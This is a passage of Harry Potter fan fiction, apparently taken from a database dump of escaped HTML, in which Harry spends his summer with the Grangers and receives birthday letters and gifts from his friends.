afraid to ask. &quot; You\'ll have to read. Hogwarts: A history. Everyday&quot; Harry was going to groan but then realized it was his idea.</p>\n<p>&quot; And the second?&quot; He asked more terrified this time. Hermione usually told what needed to be done quickly. But if she didn\'t say the second condition right after the first, then it could only mean that it was something either she was embarrassed about or it was something so bad that she was sure he would not agree to. Harry couldn&#8217;t think of anything he could hate more than doing the first thing Hermione had asked him. </p>\n<p>&nbsp;</p>\n<p>&quot;..Er..Youhavetoteachmetoflyabroom... OK. GOOD. Now that we\'re settled lets...&quot; said Hermione in a rush. Her cheeks Harry noticed were slightly inflamed, but she did not get to finish her sentence as Harry cut her off &#8211; he didn\'t really catch what she said.</p>\n<p>&quot;What did you say? I couldn\'t hear it.&quot;</p>\n<p>Hermione quirked her eyebrow impatiently. &quot; You have to.. teach me to fly a broom... Properly.&quot; her cheeks were burning hot as she repeated herself.</p>\n<p>Harry had known that Hermione had a really bad time flying, but it wasn&#8217;t because she was not afraid of flying or height. No. That would be too normal for her. What she was strangely afraid of was - the broom. Hermione, he knew could completely ignore her broom phobia when needed (like in their first year), but aside from that she was as afraid of the broom as Ron was of spiders. Unlike Ron &#8211; Hermione seem to want to get rid of her phobia. Harry wondered how much of it was phobia and how much of it was her wanting to do everything &quot;perfectly&quot;. </p>\n<p>&quot; Well if it\'s that important to you...&quot; Harry started to say, but then he remembered something, &quot;but you don\'t have a broom... do you?&quot; he asked scratching his head.</p>\n<p>&nbsp;</p>\n<p>&quot; Oh.. You see..&quot; Hermione averted her gaze. And All Harry could see was her cheeks flaming further more. &quot; Victor sent me one. It&#8217;s bewitched so if I say a correct phrase it\'ll take me directly to him. Nimbus something or other&quot;</p>\n<p>&quot; That\'s a good broom... Aerodynamic handle, most of the straws are hand picked but they\'re mass produced so not as good as a fir- &quot; Harry stopped mouthing off the features of the broom when he saw Hermione\'s blank face. &quot;I\'m sorry, Hermione. I didn\'t want to bore you with broom...&quot;</p>\n<p>Harry stopped talking when Hermione ran out of the room. Harry was very confused. He knew he could have a short attention span, but he didn&#8217;t think it was bad enough that Hermione would run out of the room without telling him off. * Did I say something? ...* He thought to himself, *...I knew I shouldn\'t have had started to talk my mouth off. I think I\'ll go to Hermione and apologize. Yes! That\'s what I\'ll do.*</p>\n<p>&nbsp;</p>\n<p>But Harry knew it would not be that easy. Knowing Hermione she would probably quiz him on why he\'s apologizing, and he did not really want to think of the consequences of getting that question wrong. An entire summer with someone who didn\'t like you could be ver....&quot; His thoughts were disturbed by a hand on his shoulder shaking him roughly.</p>\n<p>When he lifted his face from the ground he saw it was Hermione. With her she had a light blue broomstick and two books under her arm. One was unmistakably was &quot;Hogwarts: A History.&quot;</p>\n<p>&quot; I just wanted you to see it.&quot; she said. Harry breathed a sigh of relief as Hermione continued, &quot; I got the book here and we are going to start your part of the bargain today. You are going to read the book and I\'m going to read my 5th year spellbook. After an hour we\'ll switch books. Now. READ&quot; said Hermione, shooing Harry towards the other end of the bed. Harry didn&#8217;t like the way her face lit up when he did as he was told. She seemed to enjoy bossing him around a bit too much. He wasn&#8217;t sure what the consequences would be if he didn&#8217;t hold his own ground&#8230; if that was at all possible.</p>\n<p>&nbsp;</p>\n<p>During his first dinner at the Grangers he found out the first name of Mrs. Granger. It was Diana. Harry noticed that she had the same sort of personality as Mrs. Weasley. Both had the idea that Harry was too thin (they were right) and needed fattening up. They both had a cheery personality and both controlled their families every aspect and could stop other members of the family from doing anything that she did not like.</p>\n<p>Like when Paul was about to start the second phase of his &quot;talk&quot; with Harry. One nasty glare from the wife, he shut his mouth. Harry knew that if he was going to stay in the house for the summer he better show that he was a good boy. He offered to do the dishes. No one actually stopped him, or acknowledged that he was a good boy.</p>\n<p>* Oh well. I didn\'t really want an acknowledgement anyway * That night Harry did not try experimenting with his powers.</p>\n<p>Being used to sleeping on a fold up bed and a mattress thin enough to feel the springs underneath, the soft bed in his room was like a being treated like a king. It took very little time for him to go to sleep. It felt like he had only seconds after his back touched the bed when, something landed beside him. He desperately searched for his wand next to his hand, almost sure it was Dudley who just landed in the bed next to him. But...</p>\n<p>* It can\'t be. Dudley is in Hawaii... Then&#8230; deatheaters. * thought the slightly paranoid Harry.</p>\n<p>Harry\'s eyes snapped open. His eyes almost hurt when the bright sunlight hit his face, but he had other pressing tasks to perform. As soon as he found the wand he leaped off the bed ready for an attack. He was about to yell the spell for disarming when a small giggle reminded Harry that he was at Hermione\'s house &#8211; and just maybe it was her trying to wake him up.</p>\n<p>* Besides if they were deatheathers, I would be dead or captured by now * he reasoned with himself &#8211; the world still a blur in front of his eyes. </p>\n<p>He still could not see clearly, when Hermione put his glasses on carefully from the back. Harry slowly turned around to see Hermione with a huge smile plastered on her face. Harry was going to be annoyed and was going to tell her off, when he realized he had made a big enough fool in front of her already.</p>\n<p>* I might as well try to get some of my dignity back *</p>\n<p>Harry bowed like they do after a stage play. Hermione giggled a little more before telling him that her parents were at work and they needed to do some housework. Just so they didn\'t &quot;fool around&quot;, their neighbor Mrs. McDougol an elderly witch would pop by occasionally. Not only that but a long list of chores were given to them, hoping they would keep their hands away from each other. Her parents need not have had worried about that, since neither of them had developed any such feeling for each other <i>yet</i>. </p>\n<p>Most of the chores involved Harry lifting or re-positioning things &#8211; and doing them again when Hermione&#8217;s mood suited. He was beginning to regret being so obedient to her. It was one thing to be polite to help her out, it was entirely another to become her slave. Harry did appreciate her family taking him in, so Harry decided to indulge Hermione. If he had thought moving things was going to be hard, he hadn&#8217;t seen the garden yet. As he tirelessly weeded the garden, Hermione sat under the tree dozing or yelling out instructions &#8211; most of the time without even looking up from a green covered book. It looked like Hermione had made the cover for the book herself from newspaper and a horrible shade of green paint. Thankfully lunch came soon, and Harry could wash away a days word of honest day&#8217;s work (sweat, grime and dirt) off himself.</p>\n<p>After lunch they would watch TV for a little while. In the afternoon it was either flying lessons or Hermione quizzing Harry on Hogwarts: A history (most of the time Harry would get all of them wrong) and then work on their homework essays. Harry liked his talks with Hermione &#8211; even if it was a little. But Hermione straight out refused to let him say one thing while they were doing their homework. Aside from the occasional word to pass the quill&#8217;s inkwell. </p>\n<p>&nbsp;</p>\n<p>Having grown up in a family where both parents worked, Hermione was the one who prepared most of the meals, except on Friday nights and in the weekends when her mother controlled the kitchen. Hermione was a good cook but her mother was on a totally different class altogether. In the weekends Harry would try and butter Hermione\'s mother as much as possible. Harry would complement her so much, Hermione could be seen steaming but Harry took no notice of that. Hermione did not tell Harry about how complementing her mother made her jealous &#8211; even if it was just cooking, since she would quickly give Harry a lecture for not reading the school books and Hogwarts: A history every night as it was. She didn&#8217;t want to nag him.</p>\n<p>&nbsp;</p>\n<p>By his fourth weekend with the Grangers Harry realized why Paul Granger was so fit. At age 39 he had a body that could be compared to someone ten of fifteen years younger than him &#8211; certainly very much better than the time Harry had the misfortune of walking by a room to see Snape in a towel. Even thinking about that made Harry feel sick. Back to the garden&#8230; the two women had them out in the garden, digging, shoveling, fertilizing, planting and doing other major work all day long. It is true that after long hours of work, men kind of develop a bond &#8211; usually from suffering together. In this case it was Harry and Paul formed bond that would only come about after four weekends of manual labour. </p>\n<p>When the day ended on the 4th weekend, and all that was left to do was to water the garden, Harry and Paul Granger did something they had wanted to do for four weeks. Ever since the women got the idea to redo the garden because there was now another pair of &quot;strong hands&quot; to help them do it. GET REVENGE.</p>\n<p>&quot; Now?&quot; asked Harry is a low voice. &quot; Wait for it until they turn their backs on us&quot; said Paul in an equally conspiratorial tone.</p>\n<p>Spotting the perfect time Harry yelled, &quot;NOW!!!&quot;, as he sped across to where Hermione was with the hose in his hand running full blast. On the other side of the garden Paul was doing the same to Hermione\'s mother. The two women were not pleased with the sudden drenching and decided the &quot;boys&quot; needed to be punished.</p>\n<p>NO FOOD they thought as they both finished off any leftover food from previous meal. When the &quot;boys&quot; finally entered the house after properly watering the garden, it was a big surprise for them to find no food for them, not even a juice or small fruits. To top it all off neither of the girls would talk to them.</p>\n<p>&nbsp;</p>\n<p>Paul was going to order some food, but Harry convinced Paul to do otherwise and surprise the &quot;girls&quot;, with some home cooked food. They had lot of fun cooking and recounting the events past few weeks and as unlikely as it seems they BONDED. A deep conversation between Hermione and her mother about &quot;men and their childish behavior&quot; was stopped when the breathtaking aroma of freshly cooked food and laughter and loud conversation entered Hermione\'s room.</p>\n<p>At first they were not moved to investigate, but when the noises suddenly stopped they could not help themselves. When they were both there, Paul came out of hiding and led his wife to the table. She inspected the table quickly. There were of three dishes served. None of which looked like any thing that she knew, but they looked and smelled okay and good (respectively). Paul pulled up a chair for Diana and then told her to sit down. Mrs. Granger was asked by Paul to taste the food.</p>\n<p>&quot; Sorry about the water spraying thing! We were tired and we needed some fun. It was Harry\'s idea.&quot; he said pointing his finger towards the direction of the door where Hermione was standing.&quot;... I don\'t know what these are but they\'re good&quot;</p>\n<p>Mrs. Granger looked as if she was ready to cry. Whether or not that\'s why Paul cut a piece of food from one of the dishes and almost shoved it into her mouth is still unclear. * It tastes like Chicken. It\'s Juicy and tender. I wonder where that boy learned to cook * thought Mrs. Granger before noticing her husband staring at her.</p>\n<p>&quot; What?&quot; she asked fearing something was probably sticking out of her teeth.</p>\n<p>But Paul Granger surprised her by saying, &quot; You look as beautiful as the day I first saw-&quot;</p>\n<p>Hermione could not hear any more since someone had put their hand over her mouth and started to drag her out of the kitchen. She stopped trying to escape when she realized it was Harry from his smell of his spicy cologne. Something she had helped him pickup from the shop. </p>\n<p>He explained, &quot;They would want to be alone now&quot;, as they towards the garden, where he had put some plates and rest of the food that he had cooked. Hermione could not help but complement Harry.</p>\n<p>&quot; ooomm. Isss goooddd&quot; said Hermione with her mouth full of food, making Harry grin a little. After all he liked her cooking better than his own so it was a great complement coming from her. When she finished what was left in her mouth she asked where he learned how to cook.</p>\n<p>&quot; Well, living with the Dursley\'s kind of forces you to learn how to cook and besides I can only cook those three things... I couldn\'t have done it without your dad\'s help.&quot;</p>\n<p>Then she remembered that the next day was Harry\'s birthday, and she should give him his present, if she wanted to surprise him. She told him to wait a few minutes, she had to get something from the house.</p>\n<p>&nbsp;</p>\n<p>As Harry waited he thought about what had happened during the four weeks he had been at Grangers. He had to admit he had an enjoyable time, even if most of the time was spent studying, and doing manual work. He didn&#8217;t regret his decision to indulge Hermione.</p>\n<p>In his mind, he ticked off two homework essays that he had done. One was for history of magic -&quot;What effect did Grindelwald have on the war the Muggles call World War II&quot; and &quot;A thousand and one uses of Boomslang&quot; for potions. Well there was still one for care of magical creatures, one for tranfiguation, one for Herbology, one for charms, one for Defence.Against.Dark.Arts&#8230; Harry Groaned ruefully.</p>\n<p>* Maybe, I\'ll tackle the dark arts one next and th- * he thought about the hopelessly big amount of homework still to come.</p>\n<p>Harry\'s train of though was derailed severely when Hermione plopped herself down next to him, with a huge grin on her face. He could not see what she had behind her and since his birthday was the next day he guessed it was a present for him. Accuratly it seemed too, when Hermione told him to close his eyes. * Can she be any more obvious.* thought Harry fondly as he did what his friend told him to do.</p>\n<p>Hermione put down a nicely wrapped packet in front of him and said, &quot; OK. Open your eyes.&quot; Harry could feel the excitement in her slightly higher pitched voice. </p>\n<p>Harry saw the package and could guess it was a book &#8211; though he wasn&#8217;t depressed or even disappointed. Hermione knew him well, and he was sure it would be something on Quidditch. Harry, turned over the wrapped book several times, trying to find a way to open up the present neatly, when a very annoyed Hermione snatched the package away. </p>\n<p>She quickly tore open the wrappers and handed the book back to him. She was frowning in a way that told him he was being silly. &quot; Honestly Harry!&quot; *yep! That&#8217;s what&#8217;s she&#8217;s thinking!*  &quot; Wrappings are meant to be ripped open. Now have a look at the present and tell me how you like it?&quot;</p>\n<p>Harry turned the book around to have a look at the title. The first surprise was the fact that it was not a book on Quidditch. Everyone always assumed Harry loved anything to do with Quidditch but as true as it was he actually liked books on other topics besides Quidditch. Harry gasped when he saw the title of the book. &quot; 66666 muggle and magical ways You can die&quot; Harry was left speechless.</p>\n<p>&nbsp;</p>\n<p>&quot; Gee thanks, Hermione.&quot; &#8230;*That&#8217;s exactly what I need*, he would have had said. Smart boy that he is, he waited for her explantion.</p>\n<p>&quot;See now, you don&#8217;t have to spend all that time on silly Divination homework.&quot;</p>\n<p>Harry smiled. &quot; Thanks Hermione. Now... We should hurry, I still have the dishes to do.&quot; </p>\n<p>&quot; You\'re welcome. But that\'s not the only one. My parents are giving you<br>\nsomething too&quot; Hermione said.  </p>\n<p>&quot; What?&quot; he asked, quite taken back someone would give him anything knowing him just a month.</p>\n<p>&quot; I\'m not telling...&quot; said Hermione with a mischievous smile on her face.</p>\n<p>&quot; Please...&quot; Harry started to move closer to her, ready to start tickling her. During the last four weeks he had come to realize that she was very sensitive to tickling and the slightest touch would send her into feats of laughter. Somehow she anticipated it and a wand materialized in her hand before he could come any more closer to her.</p>\n<p>&quot; Just in case you try anything...&quot; Hermione it seems was daring him to do so. &quot; I\'m sure the ministry will overlook a first offence&quot; said Hermione waving the wand menacingly.</p>\n<p>&quot; Okay...Okay..&quot; Harry said putting his hands up. &quot; Geeze. What a way to burst a guy\'s bubble.&quot; Harry was disappointed. &quot; Do you want to get in some flying lessons done -  before we head inside, I mean?.&quot;</p>\n<p>&quot; Okay&quot; came an enthusiastic reply</p>\n<p>Harry thought about her progress over the last four weeks. The elderly witch had been kind enough to erect a charm to make sure muggles didn\'t notice them flying around in the back yard. The progress had been reasonably good. Though she had great reflexes, sources of which Hermione would not elaborate on &#8211; not that he really asked, she was deathly afraid of flying any higher than five feet. This was of a great source of amusement for Harry, though to his credit he did no more than grin when it looked as if the broom might try to go higher than Hermione\'s tolerance level, amidst her hysterical screaming.</p>\n<p>After cleaning up, Harry went to bed with his transfiguration book. Though he was not allowed to do magic, he could read up about his essay topic -&quot;Why do Animagus training have to be carried out in the presence of a ProTem and what is involved in becoming an Animagus.&quot;</p>\n<p>The book was not really a great source of information -Harry made a mental note to ask Hermione about a better reference.</p>\n<p>* WOW! I didn\'t want to copy her essay... *</p>\n<p>Harry could not remember when he went to sleep, only to wake up what seemed to him only seconds later. He was outside his body again. There was no pain, as he passed through the door from his room. He tried to see if Magical things still caused him pain so he tried to touch &quot;Hogwarts: A history&quot; on his desk. He felt a little sting, but the something amazing happened. The book opened to the first page by itself!</p>\n\n'),
	(13, 4, '\n\n\n\n<b></b><p align="CENTER"><b>Chapter Number:</b> 04<br>\n<b>Chapter Name:</b> A New Bookworm &amp; the Gifts</p>\n<p>It didn&#8217;t hit Harry until he had read the first twelve pages that the pages of the book that the pages were turning by themselves. As slow as he was in realizing this, he was faster at remembering that Hermione had said that she put a page turning spell on the book so that once the page was read, it would automatically turn over. She said it didn&#8217;t have another to do with lazyness. It was more to do with speeding up reading. </p>\n<p>It occurred to him that the spell allowed for him mind to be registered as a person who was reading the book. Even if he was astral Projecting. Yep. He had a proper name for him odd ability. According to Hermione, muggles called it on television. Though their version was strictly different to the one that Harry had. For one thing, real people could see the astral Projected person. For another &#8211; in their version, astral projected people could see and touch and interact with objects. Hermione also told him that there seemed to be no references to her knowledge about Astral Projection in all the things she had read about the wizarding world. She didn&#8217;t think it was a wizarding power &#8211; since Hogwarts: A history didn&#8217;t mention it.</p>\n<p>As Harry began to read, he did not notice how quickly he seemed to be reading the passages, or the pages for that matter. Not did he understand that he was keeping most of what he was reading in his mind. Unlike other times when his mind was more of a seive, this time he was keeping a lot of information. </p>\n<p>It was at eight o\'clock in the morning when Harry snapped the book. He had finished reading the book, back to back several times, since it was the only book he had with a self turning charm in it &#8211; Harry had kept reading. Harry wished himself to wake up and it usually took about a ten minute delay from the time he wished to enter his body again to waking up. This time Harry noticed the delay was only two minutes. Either he was improving, or his time counting was off &#8211; Harry betted on the latter.</p>\n<p><br>\n<br>\nHarry quickly leaped from his bed, quickly taking off his pajamas and started to collect clothes so that he could get into the shower. It was the last day of the long weekend (Queen\'s Birthday), so the rest of the family was still in<br>\nbed. As Harry left the room, he collided with Paul &#8211; who looked suspiciously at Harry.</p>\n<p>After a moment Harry realized that he was wearing only his boxers. He took the towel on his shoulder, and wrapped it around his waist. He didn&#8217;t say anything Harry, as he walked away towards the kitchen. Harry didn&#8217;t know it, but Paul or Mr. Granger was very pleased with himself that he saved his daughter from seeing a half-naked man running around the house. He was heading into the kitchen to cook &#8211; it was his turn on the roster to cook that day. </p>\n<p>Harry only took a few moments in the shower, as he didn\'t like to be wet for too long. At breakfast the Granger\'s had all wished him a Happy Birthday. Then Hermione\'s parents told him they had a gift for him as they handed something to him. It was a return ticket to Morocco. <br>\n<br>\nApparently the whole family was supposed to go, including one of Hermione\'s cousins but at the last moment she had pulled out. So now Harry was bound for Morocco. They told him, it was only going to be for a week and they would be back a day before school. Harry was ecstatic, and didn&#8217;t even know that he needed to passport and all those other things ready. If he even had a passport. He had never traveled overseas and now he was going to the mystical Morocco. This almost had him in tears. <br>\n<br>\nHermione joined in on the conversation and said she choose the location so they could research some exotic magical creature for their Care of Magical Creatures. Hermione was quick to remind him that in the next three weeks they had the monumental task of doing homework essays excluding the one for care of magical creatures. Not to mention, house chores, self-imposed extra studies (by Harry&#8217;s will and Hermione&#8217;s insistence) and flying lessons to get through. <br>\n<br>\nAt this point a swarm of package carrying birds invaded the Granger kitchen. Though Mrs. Granger shrieked and ran away, Harry, Hermione and her father (though he a little shaken) stayed. There was in total five owls carrying two parcels and three letters. </p>\n<p>Harry took the one that had been dropped on his bowl of cerial. It had beautifully <br>\npenned writing on the envelop and he was surprised to see it was from Fleur.</p>\n<p>&nbsp;</p>\n<p><br>\n<b>To Harry, my sister\'s Saviour</b><br>\nThank you again for saving my sisters life last year. I\'ll be your Defence Against Dark Arts teacher this year. I\'m sending you this book about the marine-based dark creatures. This book will help you next year and there is a section at the back that will help you write your homework essay. I know I&#8217;m not the best with water demon, but I&#8217;m fairly adept at others. Perhaps your head master is giving me this task so that I may improve or because he had a lack of candidates, I don&#8217;t know. I will try my best to be your teacher. If for nothing else, then to pay you back for saving my beloved sister. <br>\n<b>Many thanks from Fleur</b></p><b>\n</b><p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The letter had been quite straight to the point. It highlighted a lot of things about the situation with the light side. There were not many candidates that Professor Dumbledore could choose from. Harry didn&#8217;t know if it was that he had his people deployed elsewhere or because there was a shortage &#8211; but it was clear either way that there were few people that were aware of the situation with the dark lord. </p>\n<p>After he finished reading, he looked over the book. It was called &quot;So You need to know about SeaMonsters by Ruben Psidong&quot;. The next one was from Professor Dumbledore, and it was carried to Harry by one of the school\'s better regal<br>\nlooking owls.</p>\n<p>&nbsp;</p>\n<b><p>&nbsp;</p>\n</b><p align="CENTER"><b>HOGWARTS SCHOOL OF WITCHCRAFT AND WIZARDRY</b><br>\nHeadmaster: Albus Dumbledore<br>\n(Order of Merlin, First Class, Grand Sorc. Chf. Warlock,<br>\nSupreme Mugwump, International Confed. of Wizards)</p>\n<b></b><p><b>Dear Mr. Potter,</b><br>\nThis is not a birthday card, though it may have appeared at this time. Please know that I have arranged for you and Ms. Granger to meet Mr. Ali Pasha. He will be your guide to the Magical community in Morocco. </p>\n<p>He was one of you father\'s dear fiends and that you have my blessings for the trip. In times such as these it is important to keep international alliances. I expect your visit to be of the highest importance and as such please do not get yourself into trouble. <br>\n<br>\nHeadmaster of Hogwarts<br>\n<b>Professor A. Dumbledore</b></p><b>\n</b><p><b>HOGWARTS SCHOOL OF WITCHCRAFT AND WIZARDRY</b><br>\nHeadmaster: Albus Dumbledore<br>\n(Order of Merlin, First Class, Grand Sorc. Chf. Warlock,<br>\nSupreme Mugwump, International Confed. of Wizards)</p>\n<p>Ps: Happy birthday</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry could not help but smile at the postscript. The next letter was from Sirius, as always carries by tropical bird of many colours. Harry couldn&#8217;t help but think that using such birds will end in disaster for Sirius one of these days.</p>\n<p>&nbsp;</p>\n<p><br>\n<b>Dear Harry</b><br>\nI hope you are Ok. Dumbledore told me that you are going out of the country. I don\'t know whether it\'s a good idea or not. The last time I thought it was a better idea to go along with Lily and James&#8217;s plan, it did not turn out well, so the old man is probably a better bet. Keep your wand in your hand, Harry. ALWAYS! I can&#8217;t stress it enough. The rules about under aged wizards are not applicable over there. There are danger there already, and you&#8217;re going to a place that&#8217;s barely above nomadic. </p>\n<p>You might want to look up one of our friends from the by gone era. His name is Ali Pasha. Last I heard of him, he was selling flying carpets. Just tell him PADFOOT said hello. Be safe. OWL me if you have a dream.<br>\n<b>SNUFFLES</b></p><b>\n</b><p>&nbsp;</p>\n<p>The letter kind of left Harry thinking about who this Ali Pasha character was, but he didn&#8217;t have time to think much. The next parcel was from Hagrid and an eagle brought it.</p>\n<p>&nbsp;</p>\n<p><br>\n<b>HARRY</b><br>\nHi. Heard you&#8217;re with Hermione. I can\'t tell you where I am, but I\'m with Madam Maxime. I got good news. I\'ll write more when I can. I sent ye some of me Rock cakes. Olympe loves them.<br>\nBye<br>\n<b>Hagrid</b></p><b>\n</b><p><br>\nHarry loved Hagrid. He was the man who told him of his real life. He trusted Hagrid with his life but he would not eat anything that man made. </p>\n<p>Mr. Granger however was not aware of the perils of Hagrid&#8217;s cooking. So when he saw Hermione open the parcel for Harry, sitting next to her, He reached for a portion. It was then that both Harry and Hermione shouted, &quot;NO!&quot;<br>\n<br>\nPaul Granger was shocked but put the piece down. To demonstrate why they stopped him, Harry took his spoon and hit the cake hard making a loud clink noise as if it had hit another metal. Mrs. Granger entered the room again when she realized that only the snowy owl that belonged to Harry was gone. She sat herself down next to Hermione and started to quietly finish off the food. Her moment of embarassment being over. </p>\n<p>The next one was a big parcel that Hedwig and Pig carried it together. It contained sealed envelopes from most of the members and gifts of food and clothes from Mrs. Weasley. The first letter picked out of the parcel was covered in little pink heart that moved all over the envelop. Hermione saw it and snatched it away from him. She quickly took out the letter and to Harry\'s embarrassment started to read it out loud. <br>\n<br>\n&quot; ooh. Perfumed!&quot; Hermione snickered. &quot; Harry! I\'m shocked. Why didn\'t you tell me about your grrrlfriend&quot; said Hermione trying intentionally to be annoying.<br>\n<br>\n&quot; It\'s because, SHE. IS. NOT. MY. GIRLFRIEND!&quot; shouted Harry, surprising both Mr. &amp; Mrs. Granger. Harry\'s face was red but he did not try to get the letter back. Since it would only make Hermione more determined to nag him about Ginny. Harry had realised that though Hermione was a lot more docile at school, she was a lot different in the muggle world. <br>\n<br>\n&quot; Lets see what says than...</p>\n<p>&nbsp;</p>\n<b></b><p><b>Dear Sweet Harry</b> (**GIGLES ** from Hermione)<br>\nOn your birthday, I hope you are well and know that love from me (and my family) is there with you. My present to you is in the parcel. See you soon... Love </p>\n<b><p>GINNY</p>\n</b><p><br>\nWhile Hermione was reading the letter, Harry found and finished reading the inscription (from Ginny to H.P.) and the instructions for his present from Ginny. It was in a packet covered in similar sort of patterns as the envelop. He thought it was a great way to get back at Hermione. He put on the watch, and did as the instructions had told him. He stood up from his chair, and turned to look at Hermione. Then he pressed the glass on the watch and spoke.<br>\n&quot;Hello. Bet you\'re sorry now!&quot; <br>\n<br>\nBut it came out in not Harry\'s voice but a bit deeper, slightly booming voice and to top it all off in another ancient language. Hermione jumped back twice before hitting the wall behind her. Her parents fell out of their chair and scrambled away to what they thought was a safe distance. There was another effect that Harry did not see nor hear. His eyes were glowing. Satisfied that Hermione was sufficiently and her parents unintentionally scared, he pressed the<br>\nglass on the watch. Once he did, his voice became normal and eyes lost some of its glow. But there was still a lingering glow.<br>\n<br>\n&quot; That\'s what you get for taking other peoples letter&quot; Harry said taking off his watch. <br>\n<br>\nFrom the shocked look on her face it was obvious she did not get it as to how Harry had scared her. He held up the watch and said, &quot; the present from GINNY&quot;. <br>\n<br>\nHermione looked embarrassed for not noticing the silly toy. She mumbled something about needing to go to the toilet, and headed out of the room with a pink face.<br>\n<br>\nHarry noticed that Mr. &amp; Mrs. Granger had already recovered and were back to eating their food. He looked apologetically at them, they both gave him a look of sympathy at him. Paul Granger actually thought it was a really good joke. It wasn\'t often that he saw his daughter with surprise written all over her face. Harry decided he would quickly read the other two letters. First one was from Fred &amp; George. </p>\n<p>&nbsp;</p>\n<b></b><p><b>Harry</b><br>\nHappy Birthday. We\'re both sorry, you couldn\'t spend your holidays with us. But we hear you\'re with Hermione. We hope you have a good time there. We were not allowed to send you our gift before because of Professor Dumbledore. The gift is in the white packet. It looks like a ball with a switch on top. When pressed it displays a memory that Ron had of you guys and one of your certain &quot;friend&quot;. When we say you\'ll love it we mean, you\'ll laugh your head off. <br>\nYour buddies<br>\n<b>Fred and George Weasley.</b> </p>\n<p>PS: Did you ever wonder what happens when you hit someone with the Streaming Rainbow curse &#8211; while he&#8217;s already under the tickling curse? Well enclosed is a picture of Ron. Enjoy.</p>\n<p>&nbsp;</p>\n<p>The picture was funny. But before he could show save it to give it to Hermione, The picture became blank. Then a small message showed up. &quot; Sorry mate. Your three seconds are up &#8211; Another wonderful trick item by the WWW. Then it turned dust in his hand. Harry brushed it off.</p>\n<p>Harry was a little apprehensive about pressing the switch, but he decided that the twins would not give him something <i>really</i> bad on his birthday. He did give them a lot of money the year before. That ought to have had given him immunity from their tricks. No matter how hard Harry tried to make himself think that what he was trying to think was true, he could not help but feel otherwise. </p>\n<p>Harry held the small spherical object as far from his body as humanly possible, before pressing the button. A small rectangle appeared out of thin air and it showed the event of the fateful day when Barty Crouch masquerading as Professor Moody turned Malfoy into a ferret. <br>\n<br>\nWhile Harry laughed he noticed that a slightly less colored Hermione had entered the room. She too joined in, as Draco Malfoy was her worst enemy. Hermione started on her cereal again, Harry took out the last letter. He could tell by the messy penmanship that it was from Ron. </p>\n<p>&nbsp;</p>\n<b></b><p><b>HARRY</b><br>\nDid you hear? Probably no. I don&#8217;t think you get the Daily Prophet. Anyway, they caught Lucius Malfoy for the using a Flying carpet. Well, as good as that was, he was released by Cornelius Fudge after he donated a lot of money to the hospital - Again. Dad was furious and Percy&#8230; Well you know ho he is, we had to hold him down and then tie him to his bed. He wanted to go after that slimy git! It was one of the laws that he helped pass &#8211; again - in the<br>\nministry.</p>\n<p>I was disappointed when Dumbledore told us you couldn\'t visit us. Not sure how better off you can be with Hermione. I mean the Dursleys were mean but atleast they didn&#8217;t nag you to do homework. I bet that&#8217;s what&#8217;s she&#8217;s doing right now. </p>\n<p>And You&#8217;re wrong. I wasn&#8217;t going to ask about how Hermione was doing. What do I care if she went to Krum&#8217;s or not? I\'m glad, I\'m not in your shoes. I feel sorry for you- being told to study all day long and doing nothing else. It must be awful. <br>\n<br>\nWell, I&#8217;ll see you soon at school in a few weeks. If not before. By the way there is a present for you that I found in Diagon Alley. <br>\nYours<br>\n<b>Ron Weasley</b></p><b>\n</b><p>&nbsp;</p>\n<p>Harry put the letter down and started to look for what could be his present from Ron. He found it inside one of the folds of the black sleeveless sweater with the Griffindor emblem that Mrs. Weasley had knitted. It was a Chocolate Frog card to be precise it was a Harry Potter Chocolate frog card. The picture was of Harry getting the golden egg from the dragon. Harry was absentmindedly looking at the picture when a loud shriek from Hermione interrupted him from a depressing reminder of the past. Mr &amp; Mrs. Granger were scared once again.</p>\n<p><br>\n<br>\n&quot; WHAT??... ...What does he think I am? Does he think I\'m always studying? ... Says he feels sorry for you... Wait till we\'re on the train...,&quot; said a fuming Hermione who was reading the letter Harry had deposited on the table. Slightly scared Harry slid his chair a back a bit. Hermione continued in a cold and almost an evil voice &quot;... yes. The tel\'shia curse. That\'s it... a whole week of itching his bottom would sort him out... yessss...&quot;<br>\n<br>\n* Great Merlin! She looks positively evil! * though Harry.<br>\n<br>\nHarry thought of doing a &quot;Hermione&quot; and give her a lecture about reading other people\'s mail but decided against it seeing as her eyes had glazed over and he was not sure Hermione was Hermione anymore. </p>\n<p>&nbsp;</p>\n<p>Rest of the holidays until the day of the trip was pretty uneventful, except for the fact that Hermione kept getting messages from Krum, and she would spend half the day dreaming about him. Two days before the trip Harry was just plain fed up and told her to check his<br>\nessays for errors. &quot; You\'re just jealous that I have a boyfriend&quot;<br>\n&quot; Yeah... Whatever. So. Are you going to check my work or not?&quot; though he was a bit angry with Hermione for ignoring him for the last few days, he made puppy dog eyes at her.</p>\n<p>Hermione looked startled for a second, and then said, &quot; Yes. Leave it on the desk, I\'ll do it tonight or in the morning.&quot;</p>\n<p><br>\n<br>\nJust before lunch Hermione burst out of her room, calling for Harry. Fearing something was wrong Harry ran to where the yelling was coming from, wand ready. (A/N: He&#8217;s really paranoid... isn&#8217;t he)</p>\n<p>When he saw Hermione just standing at the entrance to her room he was confused. He was going to ask what was wrong, but Hermione spoke first. &quot; Look, Who\'s here?&quot; said Hermione with something in her voice that Harry could not identify. </p>\n<p>&quot; What? I came as soon as I heard. Why did you call by the way?&quot;<br>\n<br>\n&quot; I didn\'t have anytime last night to check your essays. So I sit down today to find thirty odd scrolls on my desk. And to top it off it you did it! Now I say ...&quot;</p>\n<p>Harry was getting annoyed and could not help but say, &quot; Get to the point!&quot;</p>\n<p>&quot; Well.. Answer this. Did you write all those scrolls?&quot;<br>\n<br>\n&quot; Yes! Of course I did. Unless there is another wizard in this house by the same name I wrote the- wait one-minute... Is something wrong with my essays.&quot; Harry panicked. &quot;OH. Great Merlin! What am I gonna do... Oh... It\'s not long till the start of the school. Oh... Maybe...&quot; but Harry did not get to finish his panic attack as Hermione rushed over and gave him a big hug.<br>\n<br>\n&quot; I\'m so proud of you. You have any idea how surprised I was... The quality of research, analogies, anecdotes and even the penmanship...&quot; If Harry had been confused before it was nothing compared to what he was feeling at that moment. <br>\n<br>\n&quot; What\'re you on about?&quot;</p>\n<p>&quot; It\'s good... too good. Snape is gonna have a fit... he\'ll give points to Griffindor... well... not really.... Not taking any off...&quot; Harry was getting more and more confused, so put his hands on her shoulder and shook her hard to stop her from babbling.<br>\n<br>\n&quot; Calm down. What. Are. You. Saying?&quot; In response to Harry\'s questions, she dragged him into her room. She sat herself down on the 